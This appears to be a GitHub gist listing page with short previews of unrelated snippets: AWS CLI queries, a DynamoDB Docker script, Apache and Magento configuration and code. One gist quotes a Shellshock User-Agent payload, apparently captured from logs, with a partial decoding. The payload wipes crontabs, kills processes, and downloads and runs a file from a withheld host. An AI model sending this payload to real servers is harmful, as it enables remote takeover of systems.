This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Count total EBS based storage in AWS | |
aws ec2 describe-volumes | jq "[.Volumes[].Size] | add" | |
# Count total EBS storage with a tag filter | |
aws ec2 describe-volumes --filters "Name=tag:Name,Values=CloudEndure Volume qjenc" | jq "[.Volumes[].Size] | add" | |
# Describe instances concisely | |
aws ec2 describe-instances | jq '[.Reservations | .[] | .Instances | .[] | {InstanceId: .InstanceId, State: .State, SubnetId: .SubnetId, VpcId: .VpcId, Name: (.Tags[]|select(.Key=="Name")|.Value)}]' | |
# Wait until $instance_id is running and then immediately stop it again | |
aws ec2 wait instance-running --instance-id $instance_id && aws ec2 stop-instances --instance-id $instance_id | |
# Get 10th instance in the account |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
## | |
# yanked from https://github.com/dwmkerr/docker-dynamodb | |
## | |
LOCAL_DATA_VOLUME=/private/var/dynamoDB | |
CONTAINER_DATA_VOLUME=/data | |
LOCAL_PORT=8000 | |
CONTAINER_PORT=8000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
UA:'() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("echo Y3JvbnRhYiAtcg0Ka2lsbGFsbCAtOSBwZXJsDQpraWxsYWxsIC05IHBocA0KY2QgL3RtcC8NCm1rZGlyIGJhc2guNS40LjMNCmNkIGJhc2guNS40LjMNCndnZXQgaHR0cDovL2lwLmFkZHJlc3MuaW0ubm90LmdpdmluZy9iYXNoLjQuMy4xDQpsd3AtZG93bmxvYWQgaHR0cDovL2lwLmFkZHJlc3MuaW0ubm90LmdpdmluZy9iYXNoLjQuMy4xDQpjdXJsIC1PIGh0dHA6Ly9pcC5hZGRyZXNzLmltLm5vdC5naXZpbmcvYmFzaC40LjMuMQ0KcGVybCBiYXNoLjQuMy4xDQpybSAtcmYgL3RtcC9iYXNoLjUuNC4zDQo= | base64 -d > /tmp/bash-5-1-1 ; sh /tmp/bash-5-1-1");'' | |
The base64 decodes to the following: | |
crontab -r | |
killall -9 perl | |
killall -9 php | |
cd /tmp/ | |
mkdir bash.5.4.3 | |
cd bash.5.4.3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/([a-z]{1,})(\.)([a-z.]{1,})/g |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Wildcard VirtualHost Example Using VirtualDocumentRoot | |
# | |
# Almost any Apache directive may go into a VirtualHost container. | |
# This we know from the Apache documentation posted everywhere. | |
# However, a hidden gem within that documentation is that we can use | |
# regular expressions to match parts of the requested domain to paths | |
# on our filesystem by using %1 and other variations. | |
# | |
# To use this, all we have to do is create cooresponding directories, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Bootstrap Magento | |
require_once("../www/app/Mage.php"); | |
$app = Mage::app('default'); | |
// Grab our database config info | |
$config = Mage::getConfig()->getResourceConnectionConfig("default_setup"); | |
// Connect to our RDS MySQL instance |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Bootstrap Magento | |
require_once("../www/app/Mage.php"); | |
$app = Mage::app('default'); | |
// Grab our database config info | |
$config = Mage::getConfig()->getResourceConnectionConfig("default_setup"); | |
// Connect to our RDS MySQL instance |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT | |
e.entity_id, | |
e.sku, | |
eav.value AS 'description', | |
IF(at_status.value_id > 0, | |
at_status.value, | |
at_status_default.value) AS `status` | |
FROM | |
catalog_product_entity e | |
JOIN |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
Mage::log(Varien_Debug::backtrace(true, true), null, 'backtrace.log'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
( cat file.txt; ux2dos file.txt | uuencode file.txt file.txt ) | mailx -m -s "subject" -r email@address email@address |
NewerOlder